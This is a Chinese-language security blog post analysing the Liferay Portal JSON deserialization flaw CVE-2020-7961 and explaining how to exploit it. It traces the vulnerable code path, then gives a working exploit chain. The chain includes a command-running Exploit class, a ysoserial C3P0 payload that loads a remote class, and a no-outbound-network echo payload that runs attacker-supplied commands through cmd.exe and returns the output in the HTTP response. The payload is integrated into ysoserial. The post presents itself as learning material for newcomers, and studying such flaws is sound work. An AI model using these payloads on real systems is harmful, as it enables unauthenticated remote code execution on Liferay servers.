liferay 反序列化漏洞分析及不出网回显构造

阅读量273953

|评论1

|

发布时间 : 2021-06-01 16:30:58

 

分析去年的CVE-2020-7961 liferay 反序列化漏洞,师傅们已经把漏洞点和利用方式总结的非常清楚了,但是对于我们这种java漏洞小白来说已有的分析并不能让我们构造出很好的不出网回显payload,本文主要围绕漏洞产生原因和不出网回显构造方法展开分析,给安全入门者弥补空白。

 

0x01 liferay介绍

Liferay(又称Liferay Portal)是一个开源门户项目,该项目包含了一个完整的J2EE应用,以创建Web站点、内部网,以此来向适当的客户群显示符合他们的文档和应用程序。它是一个出色的Java开源Portal产品,其中整合了很多当今流行的开源框架,也被不少人使用在实际项目中。

0x1 漏洞范围

Liferay Portal 6.1、6.2、7.0、7.1、7.2

liferay的6和7版本使用的json包不同前者使用Flexjson后者使用Joddjson

0x2 漏洞介绍

本漏洞属于json反序列化漏洞,在到达认证逻辑之前已经触发漏洞逻辑,并在liferay代码中存在c3p0和CommonsBean jar包,因此可以通过ysoserial 工具构造反序列化内容,从而完成漏洞利用。

 

0x02 环境搭建

为了能够调试复现漏洞,在windows环境下搭建liferay环境,下载 https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 tomcat集成包,如下图所示:

进入liferay tomcat的bin目录,修改catalina.bat 并执行startup.bat

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8788

liferay 执行起来后会自动打开浏览器并访问127.0.0.1的8000端口 ,并打开8788调试端口等待idea的链接

Intellij idea配置Java远程调试端口和ip,并添加调试依赖库

 

0x03 漏洞分析

漏洞分析这块,之前的师傅们已经写的很详细了,我也简单的这次漏洞要点梳理下。主要围绕以下几点展开

1.漏洞产生的具体过程
2.漏洞产生的核心路由
3.漏洞利用POST 参数构造方法

打算从挖洞的角度分析这个漏洞,看过很多关于这个漏洞的分析文章,从一开始的路由分析过来感觉不能理解漏洞发现的过程。

0x1 漏洞产生的具体过程

从程序时序图上可以很清楚的看到高漏洞产生的位置,准确的说是在参数类型转换时触发的漏洞,在该操作之前liferay接受并处理了所有字符串参数。下面分析产生漏洞的两个关键点,参数解析和参数类型转换。

1. 参数解析

函数调用栈如下

JSONWebServiceActionParameters._collectFromRequestParameters
JSONWebServiceActionParameters.collectAll
JSONWebServiceActionsManagerImpl.getJSONWebServiceAction
JSONWebServiceActionsManagerUtil.getJSONWebServiceAction
JSONWebServiceInvokerAction._executeStatement
JSONWebServiceInvokerAction.invoke
JSONWebServiceServiceAction.getJSON
JSONAction.execute

collectAll函数中的_collectFromRequestParameters函数起到了非常关键的作用,这部分代码是请求过来后对POST参数做解析处理,相关代码如下

_collectFromRequestParameters中最关键的部分在于put函数的处理逻辑,在一开始的时候就匹配了 : 符号,并按照该符号分割得到key和typeName以及value

经过处理后相关参数如下,代码的后续将这些内容填入了_parameterTypes和_innerParameters两个hashmap中以供后续使用

key="defaultData"
typeName="com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
value='{"userOverridesAsString":"HexAsciiSerializedMap:;"}'

分析到这里我们知道拥有控制typeName和value的能力,到底这些东西有什么用下面我们来揭晓。

2. 参数类型转换

liferay得到了POST传递过来的字符串参数,需要将各个参数进行类型转化,转化成设置的格式。所以我们首先分析liferay是如何知道这些参数类型的。

在参数获取之后会获取对应的路由及参数类型,具体调用栈如下

JSONWebServiceActionParameters._getJSONWebServiceActionConfig
JSONWebServiceActionsManagerImpl.getJSONWebServiceAction
JSONWebServiceActionsManagerUtil.getJSONWebServiceAction
JSONWebServiceInvokerAction._executeStatement
JSONWebServiceInvokerAction.invoke
JSONWebServiceServiceAction.getJSON
JSONAction.execute

直接从_pathIndexedJSONServiceActionConfigs中获取path对应的处理类

通过查找发现了两个匹配的路由

接下来的操作就是从这两个路由中选择一个,通过观察发现这两个路由的参数个数不相同,第二个路由是四个参数比第一个多了个object类型的参数,_findJSONWebServiceAction的返回值就是已经选择好的路由和参数类型

3. 漏洞点分析

(1)反序列化入口

liferay 自己实现了JSON的反序列化逻辑,下面的函数looseDeserialize就是反序列化的入口,只需要传入字符串和Class类就可以按照类型进行反序列化。

(2)parameterType的由来

在解析参数类型的时候获取了parameterTypeName字符串,之后通过ClassLoader的loadClass方法加载该类。

这次发包参数为为 defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=xxx 那么解析出来的类就是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

(3)json反序列化分析

在一些非原生的反序列化的情况下,c3p0可以做到不出网利用。其原理是利用jodd json的反序列化时调用userOverridesAsString的setter,在setter中运行过程中会把传入的以HexAsciiSerializedMap开头的字符串进行解码并触发原生反序列化。

com.liferay.portal.json 最终调用的是 jodd.json.JsonParser方法

JsonParser在Json反序列化的时候首先调用参数的set方法,下面分析com.mchange.v2.c3p0.WrapperConnectionPoolDataSource 是怎么完成对象反序列化的。接着上面的函数下面是调用WrapperConnectionPoolDataSource的setuserOverridesAsString方法

从parseUserOverridesAsString函数中可以看出通过搜索的方式将HexAsciiSAerializedMap的value提取出来并利用fromHexAscii函数将其解析为byte形式,交给SerializableUtils进行反序列化

在代码的最后调用readObject方法解析反序列化

public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
    Object var1 = deserializeFromByteArray(var0);
    return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
}

public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
    ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
    return var1.readObject();
}

0x2 漏洞产生的核心路由

对于漏洞分析的已经很详细了,那么我们怎么能够发包走到漏洞位置呢,这就涉及到路由问题,上面也分析过_executeStatement在JSONWebServiceInvokerAction类的invoke方法中有调用,向上追溯到JSONWebServiceServiceAction类

在getJSONWebServiceAction函数中有Action选择的相关代码

因此可以确定最后的路由为invoke即可,前面的一二级路由可以同过xml分析得到。

<servlet-mapping>
    <servlet-name>JSON Web Service Servlet</servlet-name>
    <url-pattern>/api/jsonws/*</url-pattern>
</servlet-mapping>
<servlet>
    <servlet-name>JSON Web Service Servlet</servlet-name>
    <servlet-class>com.liferay.portal.jsonwebservice.JSONWebServiceServlet</servlet-class>
    <load-on-startup>1</load-on-startup>
    <async-supported>true</async-supported>
</servlet>

由xml文件可以确定访问的URL路径,后续是通过cmd参数进行动态路由调用所以需要分析都有那些动态路由,这里有两种分析

1.通过调试找到动态路由表

2.通过查找官方文档确定

0x3 漏洞利用POST 参数构造

1. POST参数个数及名称确定

在获取路由及参数类型后会对POST参数进行判断,主要逻辑是判断POST中是否包含了该路由的必要参数,以/expandocolumn/add-column为例,必要参数下图所示:

判断逻辑如下,设置matched变量每当匹配到一个就将该变量+1,matched的个数必须需要的个数相同。

private int _countMatchedParameters(String[] parameterNames, MethodParameter[] methodParameters) {
        int matched = 0;
        MethodParameter[] var4 = methodParameters;
        int var5 = methodParameters.length;
        for(int var6 = 0; var6 < var5; ++var6) {
            MethodParameter methodParameter = var4[var6];
            String methodParameterName = methodParameter.getName();
            methodParameterName = StringUtil.toLowerCase(methodParameterName);
            String[] var9 = parameterNames;
            int var10 = parameterNames.length;
            for(int var11 = 0; var11 < var10; ++var11) {
                String parameterName = var9[var11];
                if (StringUtil.equalsIgnoreCase(parameterName, methodParameterName)) {
                    ++matched;
                }
            }
        }
        return matched;
    }

所以POST参数名称可以根据路由中参数确定

2. 构造defaultData

根据前面的分析defaultData包含了json反序列的对象以及之后的利用链,首先清楚的是jodd序列化格式

{"userOverridesAsString":"HexAsciiSerializedMap:xxxx"}

给上述字符串指定个类型,在json反序列化的时候就会在指定的类中执行setuserOverridesAsString方法参数为后面的value

 

0x04 payload编写

最后分析怎么编写payload,同时也是本篇文章分析的重点

0x1 出网payload

(1)编译Java代码

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{
    public Exploit() throws IOException,InterruptedException{
        String cmd="calc.exe";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());;
        printMessage(process.getErrorStream());
        int value=process.waitFor();
        System.out.println(value);
    }

    private static void printMessage(final InputStream input) {
        // TODO Auto-generated method stub
        new Thread (new Runnable() {
            @Override
            public void run() {
                // TODO Auto-generated method stub
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

命令行编译class文件

/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/bin/javac Exploit.java

(2) 生成payload

ysoserial 生成c3p0 远程调用payload,将1.ser的十六进制字符串放到HexAsciiSerializedMap 后面

java -jar ysoserial.jar C3P0 "http://127.0.0.1:8089/:Exploit" > 1.ser

(3) 开启web服务

将编译好的Exploit.class 放在web目录下并开启服务

0x2 不出网回显payload

将此方法详细的介绍下,在去年shiro反序列化漏洞出来的时候师傅们研究了各种中间件的不出网回显的利用方法。该方法的核心在于找到位于thread中的Request和Response ,从而可以在Request获取头部信息,在Response中写入回显结果。我们这次的回显对象是Liferay 因此就要在该代码中找到存储请求和相应对象的类方法。

1. Request和Response

我们可以通过liferay代码(JSONWebServiceServiceAction)分析得到其请求响应类ProtectedServletRequest 继承tomcat中的javax.servlet.http.HttpServletRequest,具体关系如下图所示:
Request

通过类关系图可以看出

Response

根据上面的关系图,我们就有了相应的目标,怎么从liferay中获取到ProtectedServletRequest对象呢?从下图中找到答案,AccessControlContext 定义了_httpServletRequest 和 _httpServletResponse属性以及getRequest和getResponse成员方法。

因此我们可以采用以下方式获取目标的servlet 请求相应

httpServletResponse = com.liferay.portal.kernel.security.access.control.AccessControlUtil.getAccessControlContext().getResponse();
httpServletRequest = com.liferay.portal.kernel.security.access.control.AccessControlUtil.getAccessControlContext().getRequest();

2. 调试payload的方法

编写这块回显代码的时候不可能盲写,也是需要一定的调试技巧的,我们首先吧程序断在触发漏洞的地方,之后通过Evaluate Expression 编写代码

通过Evaluate后的代码只能是最后一个java语句的返回值如上图所示。最后利用这个方法写了个从POST参数获取命令,之后用回显的方式输出

javax.servlet.http.HttpServletResponse httpServletResponse;
javax.servlet.http.HttpServletRequest httpServletRequest;
httpServletResponse = com.liferay.portal.kernel.security.access.control.AccessControlUtil.getAccessControlContext().getResponse();
httpServletRequest = com.liferay.portal.kernel.security.access.control.AccessControlUtil.getAccessControlContext().getRequest();
java.io.Writer writer = httpServletResponse.getWriter();
String cmd = httpServletRequest.getParameter("4ct10n");
String[] cmds =  new String[]{"cmd.exe", "/c", cmd};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
writer.write(output);
writer.flush();

正则表达式”\A”跟”^”的作用是一样的,代表文本的开头,useDelimiter(“\a”) 代表获取所有的输出内容

3. 与ysoserial整合

在Evaluate 中写好回显代码之后要与ysoseial工具进行整合,从而生成相对应的利用链payload,

(1)在Gadgets.java 中添加代码

String cmd =
    "            javax.servlet.http.HttpServletResponse httpServletResponse;\n" +
    "            javax.servlet.http.HttpServletRequest httpServletRequest;\n" +
    "                httpServletResponse = com.liferay.portal.kernel.security.access.control.AccessControlUtil.getAccessControlContext().getResponse();\n" +
    "                httpServletRequest = com.liferay.portal.kernel.security.access.control.AccessControlUtil.getAccessControlContext().getRequest();\n" +
    "            java.io.Writer writer = httpServletResponse.getWriter();\n" +
    "                String cmd = httpServletRequest.getParameter("xxx");\n" +
    "                String[] cmds = new String[]{"cmd.exe", "/c", cmd};\n" +
    "                java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n" +
    "                java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\\\a");\n" +
    "                String output = s.hasNext() ? s.next() : "";\n"  +
    "            writer.write(output);\n" +
    "            writer.flush();\n";

利用上面的代码替换掉原来的cmd代码

(2) 添加依赖并编译

在使用ClassPool类将回显代码加入到反序列化链的时候,ysoserial会先将这段代码编译成字节码,因此在编译的过程中需要将portal-kernel.jar 添加到mvn的依赖包中,操作如下:

在ysoserial项目的pom.xml文件中添加com.liferay.portal.kernel

<dependency>
  <groupId>com.liferay.portal</groupId>
  <artifactId>com.liferay.portal.kernel</artifactId>
  <version>3.39.0</version>
</dependency>

之后通过该指令生成反序列化paylaod ,将1.txt的二进制自负转换成十六进制之后再使用
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 sss > 1.txt

4. 发送payload

 

总结

完整的学习去年liferay漏洞的触发和利用,特别是在反序列化回显利用方面学习到了很多,膜拜各位师傅们的操作,作为萌新的我只能慢慢理解其中的精髓,有机会分析关于JSON反序列化利用的相关知识以及关于反序列化回显的细节。

 

参考文章

https://paper.seebug.org/1162/
https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Liferay%20Portal%20CVE-2020-7961%20%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/
https://zhuanlan.zhihu.com/p/114625962

本文由D4ck原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/240042

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
D4ck
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66